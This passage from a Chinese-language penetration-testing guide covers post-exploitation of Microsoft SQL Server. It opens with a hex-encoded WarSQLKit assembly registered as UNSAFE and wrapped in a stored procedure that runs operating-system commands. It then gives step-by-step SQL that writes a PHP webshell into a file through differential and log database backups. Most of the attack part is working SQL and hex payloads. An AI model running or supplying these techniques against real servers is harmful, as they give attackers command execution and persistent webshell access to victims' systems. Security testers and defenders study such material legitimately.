00334f00530020006500720072006f00720020007700680069006c006500200065007800650063007500740069006e006700200000053a002000001753007400640020006f00750074007000750074003a0000372000660069006e00690073006800650064002000770069007400680020006500780069007400200063006f006400650020003d0020000000c1b0e79eb8eb6348be1e0c1d83c2d05800042001010803200001052001011111042001010e04000012550500020e0e0e0c0706120c123d0e1241124508042000125d040001020e0420010102052001011161052002011c180520010112650320000204200012690320000e0500010e1d0e0320000805200112450e08b77a5c561934e08903061245040001010e062002011c124d0801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f7773010801000200000000001501001057617253514c4b69744d696e696d616c00000501000000000f01000a457975702043454c494b00001c010017687474703a2f2f6579757063656c696b2e636f6d2e747200000c010007312e302e302e3000000401000000d82c00000000000000000000f22c0000002000000000000000000000000000000000000000000000e42c0000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005c03000000000000000000005c0334000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000001000000000000000100000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b004bc020000010053007400720069006e006700460069006c00650049006e0066006f0000009802000001003000300030003000300034006200300000001a000100010043006f006d006d0065006e007400730000000000000022000100010043006f006d00700061006e0079004e0061006d00650000000000000000004a0011000100460069006c0065004400650073006300720069007000740069006f006e0000000000570061007200530051004c004b00690074004d0069006e0069006d0061006c0000000000300008000100460069006c006500560065007200730069006f006e000000000031002e0030002e0030002e00300000004a001500010049006e007400650072006e0061006c004e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c00000000005400180001004c006500670061006c0043006f007000790072006900670068007400000068007400740070003a002f002f006500790075007000630065006c0069006b002e0063006f006d002e007400720000002a00010001004c006500670061006c00540072006100640065006d00610072006b00730000000000000000005200150001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c000000000036000b000100500072006f0064007500630074004e0061006d0065000000000045007900750070002000430045004c0049004b0000000000340008000100500072006f006400750063007400560065007200730069006f006e00000031002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000031002e0030002e0030002e003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000c000000043d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;

--3.创建存储过程(单独执行)
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;

--4.执行命令
EXEC sp_cmdExec 'ipconfig';

--删除该程序集
DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY [WarSQLKit];

数据库差异备份写webshell #

差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限,我们可以把数据库备份成asp文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。实际情况中,我们得先获取网站的绝对路径,再写shell

前提条件

  • 具有db_owner权限
  • 知道web目录的绝对路径

这里为了演示方便,就直接生成一个php文件。分为两步执行

--第一步
create DATABASE Testdb;
--第二步
backup database Testdb to disk = 'c:\test2.bak';
use Testdb;
create table [dbo].[Testdb] ([cmd] [image]);
insert into Testdb(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);
--3c3f70687020706870696e666f28293b3f3e为16进制的<?php phpinfo();?>
backup database Testdb to disk='C:\\phpinfo.php' WITH DIFFERENTIAL,FORMAT;

生成两个文件,phpinfo.php为webshell

日志差异备份写webshell #

无论是日志备份还是差异备份,都是利用备份的过程中写入一句话木马。

LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的。log备份的好处就是备份出来的webshell的文件大小非常的小

create database Testdb      --新建数据库Testdb
alter database Testdb set RECOVERY FULL;   --修改数据库恢复模式为 完整模式
create table cmd (a image);        --创建一张表cmd,只有一个列 a,类型为image
backup log Testdb to disk= 'C:\\1.php' with init;   --备份表到指定路径
insert into cmd (a) values(0x3c3f706870706870696e666f28293b3f3e);  --插入一句话到cmd表里
backup log Testdb to disk='C:\\phpinfo.php';   --把操作日志备份到指定文件

生成phpinfo.php

参考:MSSQL数据库注入全方位利用-安全客 - 安全资讯平台